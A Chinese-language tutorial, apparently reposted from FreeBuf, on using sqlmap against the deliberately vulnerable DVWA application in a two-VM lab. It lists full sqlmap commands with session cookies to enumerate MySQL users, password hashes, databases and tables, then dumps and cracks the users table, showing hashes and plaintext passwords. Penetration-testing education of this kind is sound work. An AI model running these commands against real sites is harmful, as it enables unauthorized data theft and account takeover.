《SQL注入檢測(cè)之SQLmap入門》要點(diǎn):
本文介紹了SQL注入檢測(cè)之SQLmap入門,希望對(duì)您有用。如果有疑問,可以聯(lián)系我們。
相關(guān)主題:PHP安全 / 服務(wù)器安全 / SQL注入防范
原文:http://www.freebuf.com/articles/web/29942.html
SQLmap是一款用來檢測(cè)與利用SQL注入漏洞的免費(fèi)開源工具,有一個(gè)非常棒的特性,即對(duì)檢測(cè)與利用的自動(dòng)化處理(數(shù)據(jù)庫(kù)指紋、訪問底層文件系統(tǒng)、執(zhí)行命令)。
讀者可以通過位于SourceForge的官方網(wǎng)站下載SQLmap源碼:http://sourceforge.net/projects/sqlmap/
Bernardo DameleAssumpcao Guimaraes (@inquisb),讀者可以通過bernardo@sqlmap.org與他取得聯(lián)系
進(jìn)入sqlmap.py所在的目錄,執(zhí)行以下命令:
#python sqlmap.py -h
(譯注:選項(xiàng)列表太長(zhǎng)了,而且與最新版本有些差異,所以這里不再列出,請(qǐng)讀者下載最新版在自己機(jī)器上看吧)
SQLmap命令選項(xiàng)被歸類為目標(biāo)(Target)選項(xiàng)、請(qǐng)求(Request)選項(xiàng)、優(yōu)化、注入、檢測(cè)、技巧(Techniques)、指紋、枚舉等。
如何使用SQLmap:
為方便演示,我們創(chuàng)建兩個(gè)虛擬機(jī):
1、受害者機(jī)器, windows XP操作系統(tǒng),運(yùn)行一個(gè)web服務(wù)器,同時(shí)跑著一個(gè)包含漏洞的web應(yīng)用(DVWA)。
2、攻擊器機(jī)器,使用Ubuntu 12.04,包含SQLmap程序。
本次實(shí)驗(yàn)的目的:使用SQLmap得到以下信息:
3、枚舉MYSQL用戶名與密碼。
4、枚舉所有數(shù)據(jù)庫(kù)。
5、枚舉指定數(shù)據(jù)庫(kù)的數(shù)據(jù)表。
6、枚舉指定數(shù)據(jù)表中的所有用戶名與密碼。
使用SQLmap之前我們得到需要當(dāng)前會(huì)話cookies等信息,用來在滲透過程中維持連接狀態(tài),這里使用Firefox中名為“TamperData”的add-on獲取。
當(dāng)前得到的cookie為“security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。
為方便演示,我們將DVWA安全等級(jí)設(shè)置為low:
接下來我們進(jìn)入頁(yè)面的“SQL Injection”部分,輸入任意值并提交??梢钥吹絞et請(qǐng)求的ID參數(shù)如下:
“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
因此該頁(yè)面就是我們的目標(biāo)頁(yè)面。
以下命令可以用來檢索當(dāng)前數(shù)據(jù)庫(kù)和當(dāng)前用戶:
“./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”
使用選項(xiàng):
1、–cookie : 設(shè)置我們的cookie值“將DVWA安全等級(jí)從high設(shè)置為low”
2、-u : 指定目標(biāo)URL
3、-b : 獲取DBMS banner
4、–current-db : 獲取當(dāng)前數(shù)據(jù)庫(kù)
5、–current-user:獲取當(dāng)前用戶
結(jié)果如下:
可以看到結(jié)果如下:
DBMS : MySQLversion 5.0 OS versionUbuntu 12.04 current user:root current db :DVWA
以下命令用來枚舉所有的DBMS用戶和密碼hash,在以后更進(jìn)一步的攻擊中可以對(duì)密碼hash進(jìn)行破解:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”Surname” --users --password”
使用選項(xiàng):
1、–string : 當(dāng)查詢可用時(shí)用來匹配頁(yè)面中的字符串
2、–users : 枚舉DBMS用戶
3、–password : 枚舉DBMS用戶密碼hash
結(jié)果如下:
databasemanagement system users [142]: [*] ”@’kingasmk’ [*]”@’localhost’ [*]‘debian-sys-maint’@'localhost’ [*]‘phpmyadmin’@'localhost’ [*]‘root’@’127.0.0.1′ [*] ‘root’@'::1′ [*]‘root’@'kingasmk’ [*]‘root’@'localhost’
數(shù)據(jù)庫(kù)管理系統(tǒng)用戶和密碼hash:
[*]debian-sys-maint [1]: password hash:*C30441E06530498BC86019BF3211B94B3BAB295A [*] phpmyadmin[1]: password hash:*C30441E06530498BC86019BF3211B94B3BAB295A [*] root [4]: password hash: *C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
讀者可以使用Cain&Abel、John&Ripper等工具將密碼hash破解為明文。以下命令會(huì)枚舉系統(tǒng)中所有的數(shù)據(jù)庫(kù)schema:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”
使用選項(xiàng):
–dbs: 枚舉DBMS中的數(shù)據(jù)庫(kù)
結(jié)果如下:
availabledatabases [5]: [*]dvwa [*]information_schema [*]mysql [*]performance_schema [*]phpmyadmin
下面我們嘗試枚舉DVWA數(shù)據(jù)表,執(zhí)行以下命令:
“sqlmap.py-u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables”
使用選項(xiàng):
1、-D : 要枚舉的DBMS數(shù)據(jù)庫(kù)
2、–tables : 枚舉DBMS數(shù)據(jù)庫(kù)中的數(shù)據(jù)表
得到結(jié)果如下:
Database: dvwa [2 tables] +————+ | guestbook | | users | +————+
下面獲取用戶表的列,命令如下:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns”
使用選項(xiàng):
-T : 要枚舉的DBMS數(shù)據(jù)庫(kù)表
–columns : 枚舉DBMS數(shù)據(jù)庫(kù)表中的所有列
結(jié)果如下:
Database: dvwa Table: users [6 columns] +————+————-+ | Column | Type| +————+————-+ | avatar |varchar(70) | | first_name |varchar(15) | | last_name |varchar(15) | | password |varchar(32) | | user |varchar(15) | | user_id |int(6) | +————+————-+
如上所示,以上為我們感興趣的列,表示用戶名與密碼等。下面將每一列的內(nèi)容提取出來。執(zhí)行以下命令,將用戶與密碼表中的所有用戶名與密碼dump出來:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low” -D dvwa -T users-C user,password --dump”
使用選項(xiàng):
-T : 要枚舉的DBMS數(shù)據(jù)表
-C: 要枚舉的DBMS數(shù)據(jù)表中的列
–dump : 轉(zhuǎn)儲(chǔ)DBMS數(shù)據(jù)表項(xiàng)
SQLmap會(huì)提問是否破解密碼,按回車確認(rèn):
得到所有用戶名與明文密碼如下:
Database: dvwa Table: users [5 entries] +———+———+———————————————+ | user_id | user| password | +———+———+———————————————+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) | | 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) | | 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) | | 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | | 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) | +———+———+———————————————+
這時(shí)我們就可以利用admin帳戶登錄做任何事了。
總結(jié):
SQLmap是一個(gè)非常強(qiáng)大的工具,可以用來簡(jiǎn)化操作,并自動(dòng)處理SQL注入檢測(cè)與利用。
轉(zhuǎn)載請(qǐng)注明本頁(yè)網(wǎng)址:
http://www.snjht.com/jiaocheng/96.html